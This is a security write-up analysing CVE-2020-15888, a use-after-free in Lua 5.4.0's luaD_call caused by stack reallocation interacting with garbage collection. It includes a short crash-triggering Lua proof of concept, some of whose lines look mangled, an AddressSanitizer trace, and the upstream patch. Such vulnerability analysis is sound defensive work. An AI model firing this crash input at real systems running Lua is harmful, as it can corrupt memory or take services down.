CVE-2020-15888 Analysis

Author : Sunghun Oh

1. Overview

Crash type : heap-based buffer overflow, heap-based buffer over-read, use-after-free

Version : Lua 5.4.0 (git commit hash : c33b1728aeb7dfeec4013562660e07d32697aa6b)

2. PoC Code

```
function errfunc() string.rep('mod', 512) end

function test()

    load(function()(function() printload(

        xpcall(test, function() print(xpcall(test, errfunc)) end)) end)() end)

end(function() print(xpcall(test, errfunc)) end)()
```

3. Root Cause Analysis

The cause of the crash is due to improper processing of interaction between stack resizing a nd garbage collection. When the PoC code is executed with the Lua interpreter to which the Address sanitizer is applied, the following logs can be checked.

```
=================================================================
==67647==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000ba965c at pc 0x5590cf686044 bp 0x7fff8b20d160 sp 0x7fff8b20d150
WRITE of size 2 at 0x606000ba965c thread T0
    #0 0x5590cf686043 in luaD_call (/home/sh/lua540/lua+0x29043)
    #1 0x5590cf6afd98 in luaV_execute (/home/sh/lua540/lua+0x52d98)
    #2 0x5590cf6afd98 in luaV_execute (/home/sh/lua540/lua+0x52d98)
    #3 0x5590cf68628d in luaD_callnoyield (/home/sh/lua540/lua+0x2928d)
    #4 0x5590cf67c6cc in lua_callk (/home/sh/lua540/lua+0x1f6cc)
    #5 0x5590cf6c9972 in generic_reader (/home/sh/lua540/lua+0x6c972)
    #6 0x5590cf6ba5d6 in luaZ_fill (/home/sh/lua540/lua+0x5d5d6)
    #7 0x5590cf6834c4 in f_parser (/home/sh/lua540/lua+0x264c4)
    #8 0x5590cf683722 in luaD_rawrunprotected (/home/sh/lua540/lua+0x26722)
    #9 0x5590cf686e75 in luaD_pcall (/home/sh/lua540/lua+0x29e75)
    #10 0x5590cf687251 in luaD_protectedparser (/home/sh/lua540/lua+0x2a251)
    #11 0x5590cf67cddf in lua_load (/home/sh/lua540/lua+0x1fddf)
    #12 0x5590cf6ca16d in luaB_load (/home/sh/lua540/lua+0x6d16d)
    #13 0x5590cf685ebf in luaD_call (/home/sh/lua540/lua+0x28ebf)
    #14 0x5590cf6afd98 in luaV_execute (/home/sh/lua540/lua+0x52d98)
    #15 0x5590cf68628d in luaD_callnoyield (/home/sh/lua540/lua+0x2928d)
    #16 0x5590cf683722 in luaD_rawrunprotected (/home/sh/lua540/lua+0x26722)
    #17 0x5590cf686e75 in luaD_pcall (/home/sh/lua540/lua+0x29e75)
```

If the 'L->ci->next' value is NULL through the 'next_ci' macro for each case of Closure in the 'luaD_call' function as follows, it is reallocated to the stack by the size of CallInfo.

```c
void luaD_call (lua_State *L, StkId func, int nresults) {
    /*… (skip)*/
    case LUA_VLCF: /* light C function */
        f = fvalue(s2v(func));
       Cfunc: {
        int n; /* number of returns */
        CallInfo *ci = next_ci(L);
        checkstackp(L, LUA_MINSTACK, func);
    /*… (skip)*/
```

ldo.c:458 - luaD_call

```c
#define next_ci(L) (L->ci->next ? L->ci->next : luaE_extendCI(L))
```

ldo.c:425 - next_ci

It is directly assigned to the CallInfo pointer through the 'next_ci' macro, and then the 'luaC_condGC' macro is internally called from the 'checkstackp' macro to call the 'luaC_step' function to proceed with the GC step.

```c
#define luaC_condGC(L,pre,pos) \
    { if (G(L)->GCdebt > 0) { pre; luaC_step(L); pos;}; \
    condchangemem(L,pre,pos); }
```

lgc.c:158 - luaC_condGC

In this case, when the GC step function proceeds, the CallInfo object previously allocated thro ugh the 'next_ci' macro is immediately free, resulting in a Heap Use After Free vulnerability.

The reason why the corresponding CallInfo is free through GC as soon as it is assigned is th at the CallInfo value was not marked through the 'atomic' function after being pushed into t he stack. For this reason, when the current thread (CallInfo) is marked with gray, it is not act ually connected to the gray list.

According to the Lua design, the 'sweepgen' function marks the object with white and then c alls the 'correctgraylist' function to remove the target object from the gary list. (Sweepgen req uires traverse to remove elements from the gray list, so it cannot be removed from sweepge n.)

However, still inside the sweepgen, when a thread is collected, the upvalues of the thread are closed. In this way, the value of the stack being collected moves to upvalue, so a subsequent barrier is required. So this barrier still appears inconsistent between the act of the object bei ng erased from the sweepgen and the act of being erased from the gray list by correctgrayli st.

In conclusion, a crash occurs because the corresponding CallInfo area is free and then refers to the area in the code.

4. Patch

When shrinking a stack (during GC), do not make it smaller than the initial stack size. In addi tion, to solve the problem of reallocation of the stack and processing of interactions between GCs, the order was patched to call the 'next_ci' macro after calling the 'checkstackGCp' (rename checkstackp) macro for each closure case in the 'luaD_call' function.

Detailed code patches can be found in the link below.

https://github.com/lua/lua/commit/6298903e35217ab69c279056f925fb72900ce0b7
https://github.com/lua/lua/commit/eb41999461b6f428186c55abd95f4ce1a76217d5

5. Reference

http://lua-users.org/lists/lua-l/2020-07/msg00053.html
http://lua-users.org/lists/lua-l/2020-07/msg00206.html
http://lua-users.org/lists/lua-l/2020-07/msg00308.html
https://github.com/lua/lua/commit/6298903e35217ab69c279056f925fb72900ce0b7
https://github.com/lua/lua/commit/eb41999461b6f428186c55abd95f4ce1a76217d5